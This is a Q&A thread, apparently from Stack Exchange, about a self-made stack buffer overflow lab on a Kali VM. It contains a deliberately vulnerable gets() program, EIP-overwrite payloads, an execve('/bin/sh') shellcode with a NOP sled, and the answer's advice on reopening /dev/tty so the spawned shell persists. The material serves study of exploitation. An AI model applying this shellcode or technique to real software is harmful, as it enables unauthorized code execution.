2

Why I cannot execute a shellcode stored in an environment variable??

Problems

I am trying to execute a shellcode stored in an environment variable by buffer overflow with reference to Hacking: The Art of Exploitation, 2nd Edition.

I got EIP and stored a shellcode in an environment variable, but I couldn't execute.

hostOS : windows10 64bit

guestOS(virtual box) : Linux kali 5.7.0-kali1-amd64

CPU : core i7-2670QM

memory : 8GB

What I did

I made a source code(/media/sf_share/ctf/ctest/bof3.c) which has a buffer overflow vulnerability.

    [hoge@kali] /media/sf_share/ctf/ctest
    % cat ./bof3.c
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>

    void jmphere(char* v) {
        printf("jumped\n");
    }

    void vuln(){
        char a[32];
        printf("give me a word.\n");
        gets(a);
        printf("You typed %s\n", a);
        printf("jumping to 0x%x !\n",__builtin_return_address(0));
    }

    int main(int argc, char *argv[]) {
        vuln();
        return 0;
    }

It was compiled as follows.

[hoge@kali] /media/sf_share/ctf/ctest
% gcc -m32 -g -O0 -fno-stack-protector -z execstack ./bof3.c -o ./bof3
./bof3.c: In function ‘vuln’:
./bof3.c:12:5: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration]
   12 |     gets(a);
      |     ^~~~
      |     fgets
/usr/bin/ld: /tmp/ccAhKY66.o: in function `vuln':
/media/sf_share/ctf/ctest/./bof3.c:12: 警告: the `gets' function is dangerous and should not be used.

ASLR has been disabled.

[hoge@kali] /media/sf_share/ctf/ctest
% sudo sysctl -w kernel.randomize_va_space=0
[sudo] hoge のパスワード:
kernel.randomize_va_space = 0

I looked up the offset to the return address(44 bytes) and the address of jmphere function(0x565561b9) by gdb, and succeeded in controling EIP.

[hoge@kali] /media/sf_share/ctf/ctest
% python -c 'print("a"*44+"\xb9\x61\x55\x56")'|./bof3
give me a word.
You typed aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa�aUV
jumping to 0x565561b9 !
jumped
zsh: done                python -c 'print("a"*44+"\xb9\x61\x55\x56")' |
zsh: segmentation fault  ./bof3

Problems

Next I tried to store a shellcode in an environment varible(MYSHELLCODE) and tried to start /bin/sh. The shellcode was brought from here

[hoge@kali] /media/sf_share/ctf/ctest
% cat ./env_shellcode-2.sh
#!/bin/sh

nopsled=$(perl -e 'print "\x90"x200')
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

total=$nopsled$shellcode

export MYSHELLCODE=$(echo $total)
echo $MYSHELLCODE |xxd
[hoge@kali] /media/sf_share/ctf/ctest
% source env_shellcode-2.sh
00000000: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000010: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000020: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000030: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000040: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000050: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000060: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000070: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000080: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000090: 9090 9090 9090 9090 9090 9090 9090 9090  ................
000000a0: 9090 9090 9090 9090 9090 9090 9090 9090  ................
000000b0: 9090 9090 9090 9090 9090 9090 9090 9090  ................
000000c0: 9090 9090 9090 9090 31c0 5068 2f2f 7368  ........1.Ph//sh
000000d0: 682f 6269 6e89 e389 c189 c2b0 0bcd 8031  h/bin..........1
000000e0: c040 cd80 0a                             .@...

I looked up the address of MYSHELLCODE with gdb and tried to execute the shellcode by jumping to around it, but it did not work. /bin/sh did not start and the program finished normally as follows.

Can anyone explain how to execute the code?

gdb-peda$ x/10s $esp+1900
(omitted)
0xffffdea2:     "MYSHELLCODE=", '\220' <repeats 188 times>...
0xffffdf6a:     '\220' <repeats 12 times>, "\061\300Ph//shh/bin\211\343\211\301\211°\v1\300@"
(omitted)
gdb-peda$ q
[hoge@kali] /media/sf_share/ctf/ctest
% python -c 'print("a"*44+"\xe2\xde\xff\xff")'|./bof3
give me a word.
You typed aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa����
jumping to 0xffffdee2 !
takahito
  • 21
  • 2

1 Answers1

3

Good news! There's nothing wrong with your Python payload (assuming it's Python 2) or using an Environment Variable. The issue is actually something else (explained later on).

First of all, you can verify that your code is jumping to the right address by changing the 'sh' in your shellcode to something else. For example, I have /bin/pi on my machine, so I changed the code to

shellcode="\x31\xc0\x50""h//pi""h/bin""\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

and, after finding the right address with Scanmem/GameConqueror (your address may differ), I got it to output

give me a word.
You typed aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa����
jumping to 0xffffdfb3 !
3.141592653589793238462643383279502884197169399375105820974944592307816406286208998628034825342117067

Why not ls?

If you change sh to ls, or any of a number of other programs in GNU Coreutils, you will get this message:

A NULL argv[0] was passed through an exec system call.

While this does show that the shellcode is getting executed, it's far less satisfying than pi. (The message is explained here.)

So why won't sh work?

This answer explains in more depth what's going on:

When the shellcode execve(/bin/sh) executes, it has no connected standard input (because of GETS) and will terminate.

So if you're satisfied with just getting sh to work, just add this after your gets:

#include <sys/fcntl.h>
...
    gets(a);
...
    // Close STDIN
    close(0);
    // Open /dev/tty
    open("/dev/tty", O_RDWR | O_NOCTTY);
...

However, if you want to keep the program as is, you'll have to modify your shellcode or payload. The answer I mentioned above shows an example of a modified payload, but since it looks like you're calling an address directly by overwriting the return address, you'll have to prepend the system calls to close STDIN and open /dev/tty onto your shellcode.

General Grievance
  • 4,555
  • 31
  • 31
  • 45